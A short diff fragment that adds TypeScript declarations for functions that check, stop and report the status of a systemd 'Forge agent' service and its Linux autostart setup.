+ export declare function isSystemdForgeAgentActive(): boolean;
10
+ export declare function stopSystemdForgeAgent(): void;
11
+ export declare function statusLinuxAutostart(): {
12
+ unitFile: boolean;
13
+ enabled: boolean;
14
+ active: boolean;
15
+ desktopFile: boolean;
16
+ legacyNpmScheduler: ReturnType<typeof statusLinuxLegacyNpmScheduler>;
17
+ };